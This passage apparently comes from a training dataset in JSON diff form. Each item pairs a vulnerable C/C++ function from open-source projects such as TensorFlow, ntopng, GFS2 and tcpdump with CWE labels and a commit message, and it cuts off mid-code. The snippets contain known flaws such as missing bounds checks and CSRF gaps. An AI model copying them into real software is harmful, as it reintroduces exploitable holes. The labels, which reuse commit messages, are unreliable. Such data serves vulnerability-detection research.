notice(saslsvs->nick, u->nick, \"Account dropped; login cancelled\");\n\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t// If the user is already logged in, and not to the same account, log them out first\n\tif (u->myuser && u->myuser != mu)\n\t{\n\t\tif (is_soper(u->myuser))\n\t\t\t(void) logcommand_user(saslsvs, u, CMDLOG_ADMIN, \"DESOPER: \\2%s\\2 as \\2%s\\2\",\n\t\t\t                                                 u->nick, entity(u->myuser)->name);\n\n\t\t(void) logcommand_user(saslsvs, u, CMDLOG_LOGIN, \"LOGOUT\");\n\n\t\tif (! (was_killed = ircd_on_logout(u, entity(u->myuser)->name)))\n\t\t{\n\t\t\tmowgli_node_t *n;\n\n\t\t\tMOWGLI_ITER_FOREACH(n, u->myuser->logins.head)\n\t\t\t{\n\t\t\t\tif (n->data == u)\n\t\t\t\t{\n\t\t\t\t\t(void) mowgli_node_delete(n, &u->myuser->logins);\n\t\t\t\t\t(void) mowgli_node_free(n);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tu->myuser = NULL;\n\t\t}\n\t}\n\n\t// If they were not killed above, log them in now\n\tif (! was_killed)\n\t{\n\t\tif (u->myuser != mu)\n\t\t{\n\t\t\t// If they're not logged in, or logging in to a different account, do a full login\n\t\t\t(void) myuser_login(saslsvs, u, mu, false);\n\t\t\t(void) logcommand_user(saslsvs, u, CMDLOG_LOGIN, \"LOGIN (%s)\", p->mechptr->name);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Otherwise, just update login time ...\n\t\t\tmu->lastlogin = CURRTIME;\n\t\t\t(void) logcommand_user(saslsvs, u, CMDLOG_LOGIN, \"REAUTHENTICATE (%s)\", p->mechptr->name);\n\t\t}\n\t}\n\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-287', 'CWE-288'], 'message': 'saslserv/main: Track EID we're pending login to\n\nThe existing model does not remember that we've sent a SVSLOGIN for a\ngiven SASL session, and simply assumes that if a client is introduced\nwith a SASL session open, that session must have succeeded. The security\nof this approach requires ircd to implicitly abort SASL sessions on\nclient registration.\n\nThis also means that if a client successfully authenticates and then\ndoes something else its pending login is forgotten about, even though a\nSVSLOGIN has been sent for it, and the ircd is going to think it's\nlogged in.\n\nThis change removes the dependency on ircd's state machine by keeping\nexplicit track of the pending login, i.e. the one we've most recently\nsent a SVSLOGIN for. The next commit will ensure that a client abort\n(even an implicit one) doesn't blow that information away.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* ctx) override {\n    const Tensor& gradient = ctx->input(0);\n    const Tensor& input = ctx->input(1);\n    Tensor* input_backprop = nullptr;\n    OP_REQUIRES_OK(ctx,\n                   ctx->allocate_output(0, input.shape(), &input_backprop));\n    OP_REQUIRES(\n        ctx, axis_ >= -1,\n        errors::InvalidArgument(\"Axis must be at least -1. Found \", axis_));\n    OP_REQUIRES(ctx, (axis_ == -1 || axis_ < input.shape().dims()),\n                errors::InvalidArgument(\n                    \"Axis should be -1 or 0 or a positive value less than \",\n                    input.shape().dims(), \"but given axis value was \", axis_));\n\n    OP_REQUIRES(\n        ctx, input.IsSameSize(gradient),\n        errors::InvalidArgument(\"gradient and input must be the same size\"));\n    const int depth = (axis_ == -1) ? 1 : input.dim_size(axis_);\n    const Tensor& input_min_tensor = ctx->input(2);\n    OP_REQUIRES(ctx,\n                input_min_tensor.dims() == 0 || input_min_tensor.dims() == 1,\n                errors::InvalidArgument(\n                    \"Input min tensor must have dimension 1. Recieved \",\n                    input_min_tensor.dims(), \".\"));\n    const Tensor& input_max_tensor = ctx->input(3);\n    OP_REQUIRES(ctx,\n                input_max_tensor.dims() == 0 || input_max_tensor.dims() == 1,\n                errors::InvalidArgument(\n                    \"Input max tensor must have dimension 1. Recieved \",\n                    input_max_tensor.dims(), \".\"));\n    if (axis_ != -1) {\n      OP_REQUIRES(\n          ctx, input_min_tensor.dim_size(0) == depth,\n          errors::InvalidArgument(\"min has incorrect size, expected \", depth,\n                                  \" was \", input_min_tensor.dim_size(0)));\n      OP_REQUIRES(\n          ctx, input_max_tensor.dim_size(0) == depth,\n          errors::InvalidArgument(\"max has incorrect size, expected \", depth,\n                                  \" was \", input_max_tensor.dim_size(0)));\n    }\n\n    TensorShape min_max_shape(input_min_tensor.shape());\n    Tensor* input_min_backprop;\n    OP_REQUIRES_OK(ctx,\n                   ctx->allocate_output(1, min_max_shape, &input_min_backprop));\n\n    Tensor* input_max_backprop;\n    OP_REQUIRES_OK(ctx,\n                   ctx->allocate_output(2, min_max_shape, &input_max_backprop));\n\n    if (axis_ == -1) {\n      functor::QuantizeAndDequantizeOneScaleGradientFunctor f;\n      f(ctx->eigen_device(), gradient.template flat(),\n        input.template flat(), input_min_tensor.scalar(),\n        input_max_tensor.scalar(), input_backprop->template flat(),\n        input_min_backprop->template scalar(),\n        input_max_backprop->template scalar());\n    } else {\n      functor::QuantizeAndDequantizePerChannelGradientFunctor f;\n      f(ctx->eigen_device(),\n        gradient.template flat_inner_outer_dims(axis_ - 1),\n        input.template flat_inner_outer_dims(axis_ - 1),\n        &input_min_tensor, &input_max_tensor,\n        input_backprop->template flat_inner_outer_dims(axis_ - 1),\n        input_min_backprop->template flat(),\n        input_max_backprop->template flat());\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-703'], 'message': 'Fix tf.raw_ops.QuantizeAndDequantizeV4Grad vulnerability with invalid input_min or input_max.\n\nCheck that argument is actually a scalar before treating it as such.\n\nPiperOrigin-RevId: 445198280'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int needs_empty_write(sector_t block, struct inode *inode)\n{\n\tint error;\n\tstruct buffer_head bh_map = { .b_state = 0, .b_blocknr = 0 };\n\n\tbh_map.b_size = 1 << inode->i_blkbits;\n\terror = gfs2_block_map(inode, block, &bh_map, 0);\n\tif (unlikely(error))\n\t\treturn error;\n\treturn !buffer_mapped(&bh_map);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'GFS2: rewrite fallocate code to write blocks directly\n\nGFS2's fallocate code currently goes through the page cache. Since it's only\nwriting to the end of the file or to holes in it, it doesn't need to, and it\nwas causing issues on low memory environments. This patch pulls in some of\nSteve's block allocation work, and uses it to simply allocate the blocks for\nthe file, and zero them out at allocation time.  It provides a slight\nperformance increase, and it dramatically simplifies the code.\n\nSigned-off-by: Benjamin Marzinski \nSigned-off-by: Steven Whitehouse '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* ctx) override {\n    const Tensor* hypothesis_indices;\n    const Tensor* hypothesis_values;\n    const Tensor* hypothesis_shape;\n    const Tensor* truth_indices;\n    const Tensor* truth_values;\n    const Tensor* truth_shape;\n    OP_REQUIRES_OK(ctx, ctx->input(\"hypothesis_indices\", &hypothesis_indices));\n    OP_REQUIRES_OK(ctx, ctx->input(\"hypothesis_values\", &hypothesis_values));\n    OP_REQUIRES_OK(ctx, ctx->input(\"hypothesis_shape\", &hypothesis_shape));\n    OP_REQUIRES_OK(ctx, ctx->input(\"truth_indices\", &truth_indices));\n    OP_REQUIRES_OK(ctx, ctx->input(\"truth_values\", &truth_values));\n    OP_REQUIRES_OK(ctx, ctx->input(\"truth_shape\", &truth_shape));\n\n    OP_REQUIRES_OK(\n        ctx, ValidateShapes(ctx, *hypothesis_indices, *hypothesis_values,\n                            *hypothesis_shape, *truth_indices, *truth_values,\n                            *truth_shape));\n\n    TensorShape hypothesis_st_shape;\n    OP_REQUIRES_OK(ctx,\n                   TensorShapeUtils::MakeShape(\n                       hypothesis_shape->vec().data(),\n                       hypothesis_shape->NumElements(), &hypothesis_st_shape));\n    TensorShape truth_st_shape;\n    OP_REQUIRES_OK(ctx, TensorShapeUtils::MakeShape(\n                            truth_shape->vec().data(),\n                            truth_shape->NumElements(), &truth_st_shape));\n\n    // Assume indices are sorted in row-major order.\n    std::vector sorted_order(truth_st_shape.dims());\n    std::iota(sorted_order.begin(), sorted_order.end(), 0);\n\n    sparse::SparseTensor hypothesis;\n    OP_REQUIRES_OK(ctx, sparse::SparseTensor::Create(\n                            *hypothesis_indices, *hypothesis_values,\n                            hypothesis_st_shape, sorted_order, &hypothesis));\n\n    sparse::SparseTensor truth;\n    OP_REQUIRES_OK(ctx, sparse::SparseTensor::Create(\n                            *truth_indices, *truth_values, truth_st_shape,\n                            sorted_order, &truth));\n\n    // Group dims 0, 1, ..., RANK - 1.  The very last dim is assumed\n    // to store the variable length sequences.\n    std::vector group_dims(truth_st_shape.dims() - 1);\n    std::iota(group_dims.begin(), group_dims.end(), 0);\n\n    TensorShape output_shape;\n    for (int d = 0; d < static_cast(group_dims.size()); ++d) {\n      output_shape.AddDim(std::max(hypothesis_st_shape.dim_size(d),\n                                   truth_st_shape.dim_size(d)));\n    }\n    const auto output_elements = output_shape.num_elements();\n    OP_REQUIRES(\n        ctx, output_elements > 0,\n        errors::InvalidArgument(\"Got output shape \", output_shape.DebugString(),\n                                \" which has 0 elements\"));\n\n    Tensor* output = nullptr;\n    OP_REQUIRES_OK(ctx, ctx->allocate_output(\"output\", output_shape, &output));\n    auto output_t = output->flat();\n    output_t.setZero();\n\n    std::vector output_strides(output_shape.dims());\n    output_strides[output_shape.dims() - 1] = 1;\n    for (int d = output_shape.dims() - 2; d >= 0; --d) {\n      output_strides[d] = output_strides[d + 1] * output_shape.dim_size(d + 1);\n    }\n\n    auto hypothesis_grouper = hypothesis.group(group_dims);\n    auto truth_grouper = truth.group(group_dims);\n\n    auto hypothesis_iter = hypothesis_grouper.begin();\n    auto truth_iter = truth_grouper.begin();\n\n    auto cmp = std::equal_to();\n\n    while (hypothesis_iter != hypothesis_grouper.end() &&\n           truth_iter != truth_grouper.end()) {\n      sparse::Group truth_i = *truth_iter;\n      sparse::Group hypothesis_j = *hypothesis_iter;\n      std::vector g_truth = truth_i.group();\n      std::vector g_hypothesis = hypothesis_j.group();\n      auto truth_seq = truth_i.values();\n      auto hypothesis_seq = hypothesis_j.values();\n\n      if (g_truth == g_hypothesis) {\n        auto loc = std::inner_product(g_truth.begin(), g_truth.end(),\n                                      output_strides.begin(), int64_t{0});\n        OP_REQUIRES(\n            ctx, loc < output_elements,\n            errors::Internal(\"Got an inner product \", loc,\n                             \" which would require in writing to outside of \"\n                             \"the buffer for the output tensor (max elements \",\n                             output_elements, \")\"));\n        output_t(loc) =\n            gtl::LevenshteinDistance(truth_seq, hypothesis_seq, cmp);\n        if (normalize_) output_t(loc) /= truth_seq.size();\n\n        ++hypothesis_iter;\n        ++truth_iter;\n      } else if (g_truth > g_hypothesis) {  // zero-length truth\n        auto loc = std::inner_product(g_hypothesis.begin(), g_hypothesis.end(),\n                                      output_strides.begin(), int64_t{0});\n        OP_REQUIRES(\n            ctx, loc < output_elements,\n            errors::Internal(\"Got an inner product \", loc,\n                             \" which would require in writing to outside of \"\n                             \"the buffer for the output tensor (max elements \",\n                             output_elements, \")\"));\n        output_t(loc) = hypothesis_seq.size();\n        if (normalize_ && output_t(loc) != 0.0f) {\n          output_t(loc) = std::numeric_limits::infinity();\n        }\n        ++hypothesis_iter;\n      } else {  // zero-length hypothesis\n        auto loc = std::inner_product(g_truth.begin(), g_truth.end(),\n                                      output_strides.begin(), int64_t{0});\n        OP_REQUIRES(\n            ctx, loc < output_elements,\n            errors::Internal(\"Got an inner product \", loc,\n                             \" which would require in writing to outside of \"\n                             \"the buffer for the output tensor (max elements \",\n                             output_elements, \")\"));\n        output_t(loc) = (normalize_) ? 1.0 : truth_seq.size();\n        ++truth_iter;\n      }\n    }\n    while (hypothesis_iter != hypothesis_grouper.end()) {  // zero-length truths\n      sparse::Group hypothesis_j = *hypothesis_iter;\n      std::vector g_hypothesis = hypothesis_j.group();\n      auto hypothesis_seq = hypothesis_j.values();\n      auto loc = std::inner_product(g_hypothesis.begin(), g_hypothesis.end(),\n                                    output_strides.begin(), int64_t{0});\n      OP_REQUIRES(\n          ctx, loc < output_elements,\n          errors::Internal(\"Got an inner product \", loc,\n                           \" which would require in writing to outside of the \"\n                           \"buffer for the output tensor (max elements \",\n                           output_elements, \")\"));\n      output_t(loc) = hypothesis_seq.size();\n      if (normalize_ && output_t(loc) != 0.0f) {\n        output_t(loc) = std::numeric_limits::infinity();\n      }\n      ++hypothesis_iter;\n    }\n    while (truth_iter != truth_grouper.end()) {  // missing hypotheses\n      sparse::Group truth_i = *truth_iter;\n      std::vector g_truth = truth_i.group();\n      auto truth_seq = truth_i.values();\n      auto loc = std::inner_product(g_truth.begin(), g_truth.end(),\n                                    output_strides.begin(), int64_t{0});\n      OP_REQUIRES(\n          ctx, loc < output_elements,\n          errors::Internal(\"Got an inner product \", loc,\n                           \" which would require in writing to outside of the \"\n                           \"buffer for the output tensor (max elements \",\n                           output_elements, \")\"));\n      output_t(loc) = (normalize_) ? 1.0 : truth_seq.size();\n      ++truth_iter;\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix tf.raw_ops.EditDistance vulnerability with negative indices.\n\nCheck that indices are non-negative. Fix several identical code sites.\nClean up grammar in error message.\n\nPiperOrigin-RevId: 445442017'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int Lua::handle_script_request(struct mg_connection *conn,\n\t\t\t       const struct mg_request_info *request_info,\n\t\t\t       char *script_path) {\n  char buf[64], key[64], ifname[MAX_INTERFACE_NAME_LEN];\n  char *_cookies, user[64] = { '\\0' }, outbuf[FILENAME_MAX];\n  AddressTree ptree;\n  int rc;\n\n  if(!L) return(-1);\n\n  luaL_openlibs(L); /* Load base libraries */\n  lua_register_classes(L, true); /* Load custom classes */\n\n  lua_pushlightuserdata(L, (char*)conn);\n  lua_setglobal(L, CONST_HTTP_CONN);\n\n  /* Put the GET params into the environment */\n  lua_newtable(L);\n  if(request_info->query_string != NULL) {\n    char *query_string = strdup(request_info->query_string);\n\n    if(query_string) {\n      char *where;\n      char *tok;\n\n      // ntop->getTrace()->traceEvent(TRACE_WARNING, \"[HTTP] %s\", query_string);\n\n      tok = strtok_r(query_string, \"&\", &where);\n\n      while(tok != NULL) {\n\t/* key=val */\n\tchar *_equal = strchr(tok, '=');\n\n\tif(_equal) {\n\t  char *equal;\n\t  int len;\n\n\t  _equal[0] = '\\0';\n\t  _equal = &_equal[1];\n\t  len = strlen(_equal);\n\n\t  purifyHTTPParameter(tok), purifyHTTPParameter(_equal);\n\n\t  // ntop->getTrace()->traceEvent(TRACE_WARNING, \"%s = %s\", tok, _equal);\n\n\t  if((equal = (char*)malloc(len+1)) != NULL) {\n\t    char *decoded_buf;\n\n\t    Utils::urlDecode(_equal, equal, len+1);\n\n\t    if((decoded_buf = http_decode(equal)) != NULL) {\n\t      FILE *fd;\n\n\t      Utils::purifyHTTPparam(tok, true, false);\n\t      Utils::purifyHTTPparam(decoded_buf, false, false);\n\n\t      /* Now make sure that decoded_buf is not a file path */\n\t      if((decoded_buf[0] == '.')\n\t\t && ((fd = fopen(decoded_buf, \"r\"))\n\t\t     || (fd = fopen(realpath(decoded_buf, outbuf), \"r\")))) {\n\t\tntop->getTrace()->traceEvent(TRACE_WARNING, \"Discarded '%s'='%s' as argument is a valid file path\",\n\t\t\t\t\t     tok, decoded_buf);\n\n\t\tdecoded_buf[0] = '\\0';\n\t\tfclose(fd);\n\t      }\n\n\t      /* ntop->getTrace()->traceEvent(TRACE_WARNING, \"'%s'='%s'\", tok, decoded_buf); */\n\n\t      if(strcmp(tok, \"csrf\") == 0) {\n\t\tchar rsp[32], user[64] = { '\\0' };\n\n\t\tmg_get_cookie(conn, \"user\", user, sizeof(user));\n\n\t\tif((ntop->getRedis()->get(decoded_buf, rsp, sizeof(rsp)) == -1)\n\t\t   || (strcmp(rsp, user) != 0)) {\n\t\t  const char *msg = \"The submitted form is expired. Please reload the page and try again\";\n\n\t\t  ntop->getTrace()->traceEvent(TRACE_WARNING,\n\t\t\t\t\t       \"Invalid CSRF parameter specified [%s][%s][%s][%s]: page expired?\",\n\t\t\t\t\t       decoded_buf, rsp, user, tok);\n\t\t  free(equal);\n\t\t  return(send_error(conn, 500 /* Internal server error */,\n\t\t\t\t    msg, PAGE_ERROR, query_string, msg));\n\t\t} else\n\t\t  ntop->getRedis()->delKey(decoded_buf);\n\t      }\n\n\t      lua_push_str_table_entry(L, tok, decoded_buf);\n\t      free(decoded_buf);\n\t    }\n\n\t    free(equal);\n\t  } else\n\t    ntop->getTrace()->traceEvent(TRACE_WARNING, \"Not enough memory\");\n\t}\n\n\ttok = strtok_r(NULL, \"&\", &where);\n      } /* while */\n\n      free(query_string);\n    } else\n      ntop->getTrace()->traceEvent(TRACE_WARNING, \"Not enough memory\");\n  }\n  lua_setglobal(L, \"_GET\"); /* Like in php */\n\n  /* _SERVER */\n  lua_newtable(L);\n  lua_push_str_table_entry(L, \"HTTP_REFERER\", (char*)mg_get_header(conn, \"Referer\"));\n  lua_push_str_table_entry(L, \"HTTP_USER_AGENT\", (char*)mg_get_header(conn, \"User-Agent\"));\n  lua_push_str_table_entry(L, \"SERVER_NAME\", (char*)mg_get_header(conn, \"Host\"));\n  lua_setglobal(L, \"_SERVER\"); /* Like in php */\n\n  /* Cookies */\n  lua_newtable(L);\n  if((_cookies = (char*)mg_get_header(conn, \"Cookie\")) != NULL) {\n    char *cookies = strdup(_cookies);\n    char *tok, *where;\n\n    // ntop->getTrace()->traceEvent(TRACE_WARNING, \"=> '%s'\", cookies);\n    tok = strtok_r(cookies, \"=\", &where);\n    while(tok != NULL) {\n      char *val;\n\n      while(tok[0] == ' ') tok++;\n\n      if((val = strtok_r(NULL, \";\", &where)) != NULL) {\n\tlua_push_str_table_entry(L, tok, val);\n\t// ntop->getTrace()->traceEvent(TRACE_WARNING, \"'%s'='%s'\", tok, val);\n      } else\n\tbreak;\n\n      tok = strtok_r(NULL, \"=\", &where);\n    }\n\n    free(cookies);\n  }\n  lua_setglobal(L, \"_COOKIE\"); /* Like in php */\n\n  /* Put the _SESSION params into the environment */\n  lua_newtable(L);\n\n  mg_get_cookie(conn, \"user\", user, sizeof(user));\n  lua_push_str_table_entry(L, \"user\", user);\n  mg_get_cookie(conn, \"session\", buf, sizeof(buf));\n  lua_push_str_table_entry(L, \"session\", buf);\n\n  // now it's time to set the interface.\n  setInterface(user);\n\n  lua_setglobal(L, \"_SESSION\"); /* Like in php */\n\n  if(user[0] != '\\0') {\n    char val[255];\n\n    lua_pushlightuserdata(L, user);\n    lua_setglobal(L, \"user\");\n\n    snprintf(key, sizeof(key), \"ntopng.user.%s.allowed_nets\", user);\n    if((ntop->getRedis()->get(key, val, sizeof(val)) != -1)\n       && (val[0] != '\\0')) {\n      ptree.addAddresses(val);\n      lua_pushlightuserdata(L, &ptree);\n      lua_setglobal(L, CONST_ALLOWED_NETS);\n      // ntop->getTrace()->traceEvent(TRACE_WARNING, \"SET %p\", ptree);\n    }\n\n    snprintf(key, sizeof(key), CONST_STR_USER_ALLOWED_IFNAME, user);\n    if(snprintf(key, sizeof(key), CONST_STR_USER_ALLOWED_IFNAME, user)\n       && !ntop->getRedis()->get(key, ifname, sizeof(ifname))) {\n      lua_pushlightuserdata(L, ifname);\n      lua_setglobal(L, CONST_ALLOWED_IFNAME);\n    }\n  }\n\n#ifndef NTOPNG_PRO\n  rc = luaL_dofile(L, script_path);\n#else\n  if(ntop->getPro()->has_valid_license())\n    rc = __ntop_lua_handlefile(L, script_path, true);\n  else\n    rc = luaL_dofile(L, script_path);\n#endif\n\n  if(rc != 0) {\n    const char *err = lua_tostring(L, -1);\n\n    ntop->getTrace()->traceEvent(TRACE_WARNING, \"Script failure [%s][%s]\", script_path, err);\n    return(send_error(conn, 500 /* Internal server error */,\n\t\t      \"Internal server error\", PAGE_ERROR, script_path, err));\n  }\n\n  return(CONST_LUA_OK);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-352'], 'message': 'Check for presence of crsf in admin scripts'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bgp_attr_print(netdissect_options *ndo,\n               u_int atype, const u_char *pptr, u_int len)\n{\n\tint i;\n\tuint16_t af;\n\tuint8_t safi, snpa, nhlen;\n        union { /* copy buffer for bandwidth values */\n            float f;\n            uint32_t i;\n        } bw;\n\tint advance;\n\tu_int tlen;\n\tconst u_char *tptr;\n\tchar buf[MAXHOSTNAMELEN + 100];\n        int  as_size;\n\n        tptr = pptr;\n        tlen=len;\n\n\tswitch (atype) {\n\tcase BGPTYPE_ORIGIN:\n\t\tif (len != 1)\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\telse {\n\t\t\tND_TCHECK(*tptr);\n\t\t\tND_PRINT((ndo, \"%s\", tok2str(bgp_origin_values,\n\t\t\t\t\t\t\"Unknown Origin Typecode\",\n\t\t\t\t\t\ttptr[0])));\n\t\t}\n\t\tbreak;\n\n        /*\n         * Process AS4 byte path and AS2 byte path attributes here.\n         */\n\tcase BGPTYPE_AS4_PATH:\n\tcase BGPTYPE_AS_PATH:\n\t\tif (len % 2) {\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\t\tbreak;\n\t\t}\n                if (!len) {\n\t\t\tND_PRINT((ndo, \"empty\"));\n\t\t\tbreak;\n                }\n\n                /*\n                 * BGP updates exchanged between New speakers that support 4\n                 * byte AS, ASs are always encoded in 4 bytes. There is no\n                 * definitive way to find this, just by the packet's\n                 * contents. So, check for packet's TLV's sanity assuming\n                 * 2 bytes first, and it does not pass, assume that ASs are\n                 * encoded in 4 bytes format and move on.\n                 */\n                as_size = bgp_attr_get_as_size(ndo, atype, pptr, len);\n\n\t\twhile (tptr < pptr + len) {\n\t\t\tND_TCHECK(tptr[0]);\n                        ND_PRINT((ndo, \"%s\", tok2str(bgp_as_path_segment_open_values,\n\t\t\t\t\t\t\"?\", tptr[0])));\n\t\t\tND_TCHECK(tptr[1]);\n                        for (i = 0; i < tptr[1] * as_size; i += as_size) {\n                            ND_TCHECK2(tptr[2 + i], as_size);\n\t\t\t    ND_PRINT((ndo, \"%s \",\n\t\t\t\tas_printf(ndo, astostr, sizeof(astostr),\n\t\t\t\tas_size == 2 ?\n\t\t\t\tEXTRACT_16BITS(&tptr[2 + i]) :\n\t\t\t\tEXTRACT_32BITS(&tptr[2 + i]))));\n                        }\n\t\t\tND_TCHECK(tptr[0]);\n                        ND_PRINT((ndo, \"%s\", tok2str(bgp_as_path_segment_close_values,\n\t\t\t\t\t\t\"?\", tptr[0])));\n                        ND_TCHECK(tptr[1]);\n                        tptr += 2 + tptr[1] * as_size;\n\t\t}\n\t\tbreak;\n\tcase BGPTYPE_NEXT_HOP:\n\t\tif (len != 4)\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\telse {\n\t\t\tND_TCHECK2(tptr[0], 4);\n\t\t\tND_PRINT((ndo, \"%s\", ipaddr_string(ndo, tptr)));\n\t\t}\n\t\tbreak;\n\tcase BGPTYPE_MULTI_EXIT_DISC:\n\tcase BGPTYPE_LOCAL_PREF:\n\t\tif (len != 4)\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\telse {\n\t\t\tND_TCHECK2(tptr[0], 4);\n\t\t\tND_PRINT((ndo, \"%u\", EXTRACT_32BITS(tptr)));\n\t\t}\n\t\tbreak;\n\tcase BGPTYPE_ATOMIC_AGGREGATE:\n\t\tif (len != 0)\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\tbreak;\n        case BGPTYPE_AGGREGATOR:\n\n                /*\n                 * Depending on the AS encoded is of 2 bytes or of 4 bytes,\n                 * the length of this PA can be either 6 bytes or 8 bytes.\n                 */\n                if (len != 6 && len != 8) {\n                    ND_PRINT((ndo, \"invalid len\"));\n                    break;\n                }\n                ND_TCHECK2(tptr[0], len);\n                if (len == 6) {\n\t\t    ND_PRINT((ndo, \" AS #%s, origin %s\",\n\t\t\tas_printf(ndo, astostr, sizeof(astostr), EXTRACT_16BITS(tptr)),\n\t\t\tipaddr_string(ndo, tptr + 2)));\n                } else {\n\t\t    ND_PRINT((ndo, \" AS #%s, origin %s\",\n\t\t\tas_printf(ndo, astostr, sizeof(astostr),\n\t\t\tEXTRACT_32BITS(tptr)), ipaddr_string(ndo, tptr + 4)));\n                }\n                break;\n\tcase BGPTYPE_AGGREGATOR4:\n\t\tif (len != 8) {\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\t\tbreak;\n\t\t}\n\t\tND_TCHECK2(tptr[0], 8);\n\t\tND_PRINT((ndo, \" AS #%s, origin %s\",\n\t   \t    as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr)),\n\t\t    ipaddr_string(ndo, tptr + 4)));\n\t\tbreak;\n\tcase BGPTYPE_COMMUNITIES:\n\t\tif (len % 4) {\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\t\tbreak;\n\t\t}\n\t\twhile (tlen>0) {\n\t\t\tuint32_t comm;\n\t\t\tND_TCHECK2(tptr[0], 4);\n\t\t\tcomm = EXTRACT_32BITS(tptr);\n\t\t\tswitch (comm) {\n\t\t\tcase BGP_COMMUNITY_NO_EXPORT:\n\t\t\t\tND_PRINT((ndo, \" NO_EXPORT\"));\n\t\t\t\tbreak;\n\t\t\tcase BGP_COMMUNITY_NO_ADVERT:\n\t\t\t\tND_PRINT((ndo, \" NO_ADVERTISE\"));\n\t\t\t\tbreak;\n\t\t\tcase BGP_COMMUNITY_NO_EXPORT_SUBCONFED:\n\t\t\t\tND_PRINT((ndo, \" NO_EXPORT_SUBCONFED\"));\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tND_PRINT((ndo, \"%u:%u%s\",\n                                       (comm >> 16) & 0xffff,\n                                       comm & 0xffff,\n                                       (tlen>4) ? \", \" : \"\"));\n\t\t\t\tbreak;\n\t\t\t}\n                        tlen -=4;\n                        tptr +=4;\n\t\t}\n\t\tbreak;\n        case BGPTYPE_ORIGINATOR_ID:\n\t\tif (len != 4) {\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\t\tbreak;\n\t\t}\n\t\tND_TCHECK2(tptr[0], 4);\n                ND_PRINT((ndo, \"%s\",ipaddr_string(ndo, tptr)));\n                break;\n        case BGPTYPE_CLUSTER_LIST:\n\t\tif (len % 4) {\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\t\tbreak;\n\t\t}\n                while (tlen>0) {\n\t\t\tND_TCHECK2(tptr[0], 4);\n                        ND_PRINT((ndo, \"%s%s\",\n                               ipaddr_string(ndo, tptr),\n                                (tlen>4) ? \", \" : \"\"));\n                        tlen -=4;\n                        tptr +=4;\n                }\n                break;\n\tcase BGPTYPE_MP_REACH_NLRI:\n\t\tND_TCHECK2(tptr[0], 3);\n\t\taf = EXTRACT_16BITS(tptr);\n\t\tsafi = tptr[2];\n\n                ND_PRINT((ndo, \"\\n\\t    AFI: %s (%u), %sSAFI: %s (%u)\",\n                       tok2str(af_values, \"Unknown AFI\", af),\n                       af,\n                       (safi>128) ? \"vendor specific \" : \"\", /* 128 is meanwhile wellknown */\n                       tok2str(bgp_safi_values, \"Unknown SAFI\", safi),\n                       safi));\n\n                switch(af<<8 | safi) {\n                case (AFNUM_INET<<8 | SAFNUM_UNICAST):\n                case (AFNUM_INET<<8 | SAFNUM_MULTICAST):\n                case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):\n                case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):\n                case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):\n                case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):\n                case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):\n                case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):\n                case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):\n\t\tcase (AFNUM_INET<<8 | SAFNUM_MDT):\n                case (AFNUM_INET6<<8 | SAFNUM_UNICAST):\n                case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):\n                case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):\n                case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):\n                case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):\n                case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):\n                case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):\n                case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):\n                case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):\n                case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):\n                case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):\n                case (AFNUM_NSAP<<8 | 